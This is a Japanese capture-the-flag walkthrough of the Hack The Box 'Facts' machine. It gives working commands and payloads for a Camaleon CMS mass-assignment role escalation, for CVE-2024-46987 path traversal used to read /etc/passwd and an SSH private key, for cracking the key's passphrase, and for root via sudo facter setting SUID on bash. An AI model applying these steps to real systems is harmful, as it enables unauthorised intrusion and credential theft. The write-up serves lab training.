
HTB Factsは、Camaleon CMSとMinIOを搭載した簡単なLinuxボックスです。オープン登録と一括代入の脆弱性を介して管理者アクセスを取得し、管理設定からMinIOの認証情報を抽出します。CVE-2024-46987のパストラバーサルを使用してSSH秘密鍵を盗み、そのパスフレーズを解読し、GTFOBins経由でfacterのsudo権限を悪用してroot権限に昇格します。
OS: Linux
タグ: Web, MinIO, Camaleon CMS, パストラバーサル, 権限昇格
開いているサービスを特定するため、まず完全なTCPポートスキャンを実行します。
nmap -p- --min-rate 5000 -T4 10.129.244.96
結果:
| ポート | サービス | 備考 |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | 不明 | MinIOと特定 |
ターゲットを/etc/hostsに追加します:
echo "10.129.244.96 facts.htb" >> /etc/hosts
http://facts.htbにアクセスすると、Camaleon CMS(Ruby on Rails)で構築されたトリビアサイトが表示されます。主な指標:
_factsapp_session(Railsセッション)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)利用可能なすべてのページを確認するため、サイトマップを列挙します:
curl -s http://facts.htb/sitemap.xml
発見された注目すべきパス:
/admin → /admin/loginへリダイレクト/rss/animal-ejected、/anne-frankなど管理者ログインパネルを確認します:
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login
不明なポートをcurlで調査すると、S3互換のオブジェクトストレージサービスであるMinIOが判明します:
curl -v http://facts.htb:54321
レスポンス:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
ヘッダーで確認: Server: MinIO
潜在的なバケット名を調査します(403レスポンスだけではバケットの存在を確認できません):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
すべて403 Forbiddenを返します — バケットは存在しますが、認証情報が必要です。
アセットパスとセッションCookieから、CMSはCamaleon CMSであると特定されます。
既知の脆弱性を確認します:
searchsploit camaleon
結果:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
管理者パネルのバージョンは2.9.0であることが確認されます(ログイン後のフッターに表示されます)。
http://facts.htb/admin/loginの管理者ログインページには**「Create an account」**リンクがあります。新しいアカウントを登録します:
http://facts.htb/admin/users/sign_upに移動test123 / test123)Clientロールのアカウントが作成されます登録後、管理者ダッシュボードにログインします。このアカウントは限定的なClient権限を持ちます。
Camaleon CMSはパスワード変更エンドポイントにおけるMass Assignment攻撃に対して脆弱です。パスワード変更リクエストを傍受し、password[role]パラメータを注入することで、攻撃者は自身のロールをadminに昇格させることができます。
Burp Suiteを使用した手順:
Clientアカウントで管理者パネルにログインします。Profile → Edit → Change Passwordに移動します。&password[role]=adminを追加します:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OKになるはずです。これでアカウントはadmin権限を持ち、Settings、Media、Filesystem Settingsを含むCMS管理者パネルへの完全なアクセスが可能になります。
管理者アクセスで、以下に移動します:
Settings → General Site → Filesystem Settings
このページにはハードコードされたMinIO(AWS S3互換)の認証情報が表示されます:
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
AWS CLIを設定し、バケットを列挙します:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
発見されたバケット:
2025-09-11 internal
2025-09-11 randomfacts
internalバケットにはtriviaユーザーのホームディレクトリが含まれています:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
あるいは、SSH秘密鍵はCVE-2024-46987を介して取得することもできます。これはCamaleon CMSにおける認証済みパストラバーサル脆弱性で、任意のサーバーファイルを読み取ることができます。
公開されているPoCをクローンします:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
機密ファイルを読み取ります:
# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
出力(関連行):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
2人のユーザーが特定されます: triviaとwilliam。triviaはログインシェルとホームディレクトリを持っているため、SSH秘密鍵を確認します:
# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
鍵の出力をファイルに保存します:
chmod 600 id_ed25519
SSH秘密鍵はパスフレーズで暗号化されています。ssh2johnとjohnを使用してクラックします:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
クラックされたパスフレーズ: dragonballz
ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz
ユーザーフラグを取得します:
cat /home/william/user.txt
triviaユーザーのsudo権限を確認します:
sudo -l
出力:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
このユーザーはパスワードなしで/usr/bin/facterをrootとして実行できます。facterはRubyベースのシステム情報ツールです。
GTFOBinsによると、facterは--custom-dirを介してカスタムRubyファクトファイルを読み込むことができ、これらは呼び出し元ユーザー(この場合はroot)として実行されます。
エクスプロイト:
# Create exploit directory and Ruby payload
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF
# Execute facter as root with the custom directory
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x
# Verify SUID bit is set on bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...
# Spawn root shell
/bin/bash -p
whoami
# root
cat /root/root.txt
| フラグ | 場所 |
|---|---|
| user.txt | /home/william/user.txt |
| root.txt | /root/root.txt |
Nmap Scan
↓
Port 80: Camaleon CMS 2.9.0
↓
Register Client Account → Admin Panel
↓
Mass Assignment: password[role]=admin → Admin Role
↓
Admin Settings → MinIO Credentials Exposed
↓
CVE-2024-46987: Path Traversal → Read /home/trivia/.ssh/id_ed25519
↓
ssh2john + John → Passphrase: dragonballz
↓
SSH Login as trivia
↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
↓
/bin/bash -p → root
| CVE | 説明 |
|---|---|
| CVE-2024-46987 | Camaleon CMSの認証済みパストラバーサル / 任意ファイル読み取り |
| CVE-2023-30145 | Camaleon CMS v2.7.0のformatsパラメータを介したSSTI(このボックスでは未使用) |